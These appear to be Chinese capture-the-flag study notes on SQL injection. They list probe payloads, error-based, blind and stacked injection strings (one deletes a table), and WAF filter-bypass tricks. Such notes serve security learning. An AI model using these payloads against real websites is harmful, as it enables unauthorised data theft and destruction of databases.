基本做题步骤:
1、打开链接
2、判断是否存在注入
3、判断有多少个字段
4、寻找字段中可以使用的字段类型
5、探测一些信息
6、打印该数据库下的所有表名
7、获取这个表中的所有字段
8、获取数据
判断是否存在注入
判断是哪种数据库类型
payloads = ("'", "')", "';", '"', '")', '";',"--","-0",") AND 1998=1532 AND (5526=5526"," AND 5434=5692%23"," %' AND 5268=2356 AND '%'='"," ') AND 6103=4103 AND ('vPKl'='vPKl"," ' AND 7738=8291 AND 'UFqV'='UFqV",'`', '`)', '`;', '\\', "%27", "%%2727", "%25%27", "%60", "%5C")
利用这个列表中的符号拼接在网络连接里面,然后访问,会让数据库报错:(例如)
sql_errors = {'SQL syntax':'mysql','syntax to use near':'mysql','MySQLSyntaxErrorException':'mysql','valid MySQL result':'mysql',
'Access Database Engine':'Access','JET Database Engine':'Access','Microsoft Access Driver':'Access',
'SQLServerException':'mssql','SqlException':'mssql','SQLServer JDBC Driver':'mssql','Incorrect syntax':'mssql',
'MySQL Query fail':'mysql'
}
当然直接的,我们可以通过sqlmap来进行判断,然而在遭遇WAF的情况下可以通过手注来判断。
MySQL基础知识概要
必知数据库
information_shema.schemate 数据库
schema_name 表 存储所有数据库名
information_shcema.tables 数据库
table_schema 存储表格所在数据库名
table_name 存储表格名
id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
information_schema.columns 数据库
table_schema 存储表格所在数据库名
table_name 存储表格名
column_name 存储列名
获取MySQL下所有数据库名
select SCHEMA_NAME from information_schema.schemata
获取一个数据库里所有的表名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='数据库名'
获取数据
select 字段名,字段名 from 表名
闭合参数
通常我们要注入的话,首先要闭合前面的参数
常用的有:
‘
“
)
‘)
“)
‘))
还有一些需要依照实际情况来闭合
MySQL中的注释符
【#】 URL编码中为【%23】
【-+】 或者 【-空格任意符号】
【·】该符号在~下方
【;%00 】 %00 为MySQL的截断符
【/*/】或者 【/!字母*/】仅在5.1版本有效
注意:+在URL中表示空格,有时候过滤某些转义字符时可以尝试用不同的凭借符号拼接在一起进行绕过
常用函数
substr()
字符串截取
用法:substr(string,start, length);string为字符串;start为起始位置;length为长度。
ord()
mid()
截取字符串
用法:mid(string,start, length);string为字符串;start为起始位置;length为要返回的字符数。
ifnull(expr1,expr2)
如果expr1的条件符合就返回expr1的值,不然就返回expr2的值。
concat()
连接字符串,将多个字符串连接成一个字符串。
用法:concat(str1, str2,…)
group_concat()
将返回的值连接在一起输出在同一个空格位上
用法:group_concat(user,name)
group_ws()
和concat()类似,将多个字符串连接成一个字符串,但是可以一次性指定分隔符.
cast()&convert()
类型转换
用法:cast(value as type),convert(value,type)
sleep()
休眠
updatexml()
改变文档中符合条件的节点的值
用法:updatexml(string,start,xpath,value),其中string是对象,xpath是xpath格式的字符串,value是替换查找到符合前面xpath的数据。
例子
id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
结果返回为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL
因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
extractvalue()
与上面类似,从目标XML中返回包含所查询值的字符串
用法:extractvalue(string,xpth)
注入点
SELECT注入
1注入点在select_expr
php语句:
$res = mysql_query($conn, "SELECT {_GET['id']}, connet FROM wp_news");
在知道表名的情况下,可以采用 AS别名的方法
例如: ?id=(select pwd from wp_user)as title
2注入点在table_reference
PHP语句:
$res = mysql_query($conn, "SELECT title FROM {_GET['id']}");
同样使用别名的方法:SELECT title FROM (SELECT pwd AS title FROM wp_user)x;
3注入点在WHERE或HAVING之后
$res = mysql_query($conn, "SELECT title FROM wp_news where id = {_GET['id']}");
4注入点在GROUP BY 或 ORDER BY 后
$res = mysql_query($conn, "SELECT title FROM wp_news GROUP BY {_GET['title']}");
title = id desc,(if(1,sleep(1),1))会让页面延迟1秒,于是可以通过利用时间注入获取相关知识
select * from users order by id desc;
?order = if(1=1,1,sleep(5)) #正常响应时间
?order = if(1=2,1,sleep(5)) #延时五秒
5注入点在LIMIT 之后
INSERT注入
1注入点位于tbl_name
$res = mysql_query($conn, "INSERT INTO {_GET['table']} VALUES(2,2,2,2)");
如果能通过注释符注释后续语句,则可直接插入特定数据到想要的表内
如 ?table=wp_user values(2,’newadmin’,’newpass’)%23
2注入点位于VALUE
sql语句如下
INSERT INTO wp_user VALUES(1,1,'可控位置')
我们可以通过先自核单引号,在另外插入一条数据
INSERT INTO wp_user VALUES(1,1,'0'),(2,1,'a');
假设最后一个字段的值可以被输出到页面上
INSERT INTO wp_user VALUE(1,1,'1'),(2,2,(SELECT pwd FROM wp_user LIMIT 1));
update注入
形如
UPTATE wp_user SET id=3,user='xxx' WHERE user = '23';
delete注入
‘and sleep(1)’
delete from wp_news where id=1 and sleep(1);
可以保证WHERE 后的结果返回False,让语句无法成功执行。
常见类型的sql注入
数字型和union注入
例如:id=2查寻到第二列数据
id=3-1 查询到第二列数据
从数字运算这个特征行为可以判断该注入点为数字型注入
sql查询语句为
select flag from flags where id=1;
通常,我们也把使用union语句将数据展示到页面上的注入办法称为union(联合查询) 注入
数字型注入的关键在于找到输入的参数点,然后通过加减乘除等运算,判断输入参数附近有无引号包裹,再通过一些常规的攻击手段,来获取数据库的一些敏感信息。
字符型注入
在MySQL中,等号两边如果类型不一致,则会发生类型强制转换。当数字和字符串数据比较时,字符串将被转换为数字。
例如
select '1' =1,'1a'=1,'a'=0;
结果为 1,1,1
字符串1与数字相等;字符串1a被强制转换成1,与1相等;字符串a被强制转换成0所以与0相等。
按照这个特性,我们判断输入点是否为字符型,即是否有引号包裹。
例如:id=3-2 页面为空
id=2a 查询到结果
说明这里可能存在字符型注入
sql查询语句为
select flag from flags where id='1';
布尔盲注
当页面显示sql时,AND后面的值为真,当页面显示为空时,AND后面的值为假。虽然我们看不到直接的数据,但是可以通过注入推测出数据,这种技术被称为布尔盲注。
我们可以利用MySQL自带的函数进行数据截取,如substring()|mid()|substr()
sql查询语句如下:
select flag from flags where id='1' and (select mid((select concat(user,0x7e,owd)from flags),1,1))='a'
时间盲注
通过sleep()函数,利用IF条件或者AND,OR函数的短路特性和SQL攻击的结果,这种攻击方式被称为时间盲注。
sql查询语句如下
select flag from flags where id='1' or sleep(1);
报错注入
当触发sql语句的错误,可以在页面上看到错误信息时,我们称这种攻击为报错注入。
updatexml函数在执行时,第二个参数应该为合法的XPATH路径,否则会引发报错的同时将传入的参数进行输出。
sql查询语句如下:
select flag from flags where id='1' or updatexml(1,concat(0x7e,(select flag from flags)),1);
堆叠注入
当目标开启多语言执行的时候,可以采用多语言执行的方式修改数据库的任意结构和数据,这种特殊的注入情况被称为堆叠注入。
注入语句例如:id=1’;delete from flags;%23
从防御看绕过思路
字符替换
只替换了空格
%0a,%0b,%0c,%09,%0a(均为URL编码,%a0只在特定字符集中能用)
/**/组合
多层括号嵌套
+
and/or 后面跟上 偶数个 !、~也可以代替空格,可以混合使用
trim(0,0)
select等关键字替换为空
1、双写:如 seleselectct
2、同义函数,如 if 可用 case when condition then 1 else 0 end 代替
大小写匹配
MySQL中关键字是不区分大小写的,我们可以通过大写或者大小写混用来绕过
正则匹配
\bselect\b 可用形如 /!50000select/ 绕过
替换单引号或者双引号
反斜杆
例如
select * from wp_news where id = 'a\' AND title = 'OR sleep(1)#'
and/or 被过滤
1、双写 anandd、oorr
2、使用运算符代替 && ||
3、直接拼接 = ,例如:?id=1=(condition)
4、其他方法,例如 ?id=1^(condition)
括号被过滤
逗号被过滤
1、改用盲注
2、使用 join 代替
3、substr(data from 1 for 1) 相当于 sybstr(data,1,1);limit 9 offset 4 相当于 limit 9,4
数字被过滤
| 代替字符 | 数 | 代替字符 | 数、字 | 代替字符 | 数、字 | ||
|---|---|---|---|---|---|---|---|
| false、!pi() | 0 | ceil(pi()*pi()) | 10\ | A | ceil((pi()+pi())*pi()) | 20\ | K |
| true、!(!pi()) | 1 | ceil(pi()*pi())+true | 11\ | B | ceil(ceil(pi())*version()) | 21\ | L |
| true+true | 2 | ceil(pi()+pi()+version()) | 12\ | C | ceil(pi()*ceil(pi()+pi())) | 22\ | M |
| floor(pi())、~~pi() | 3 | floor(pi()*pi()+pi()) | 13\ | D | ceil((pi()+ceil(pi()))*pi()) | 23\ | N |
| ceil(pi()) | 4 | ceil(pi()*pi()+pi()) | 14\ | E | ceil(pi())*ceil(version()) | 24\ | O |
| floor(version()) //注意版本 | 5 | ceil(pi()*pi()+version()) | 15\ | F | floor(pi()*(version()+pi())) | 25\ | P |
| ceil(version()) | 6 | floor(pi()*version()) | 16\ | G | floor(version()*version()) | 26\ | Q |
| ceil(pi()+pi()) | 7 | ceil(pi()*version()) | 17\ | H | ceil(version()*version()) | 27\ | R |
| floor(version()+pi()) | 8 | ceil(pi()*version())+true | 18\ | I | ceil(pi()_pi()_pi()-pi()) | 28\ | S |
| floor(pi()*pi()) | 9 | floor((pi()+pi())*pi()) | 19\ | J | floor(pi()_pi()_floor(pi())) | 29\ | T |
逃逸引号
编码解码
意料之外的注入点
形如上传的文件名,http-header,$_SERVER[‘PHP_SELF’]等
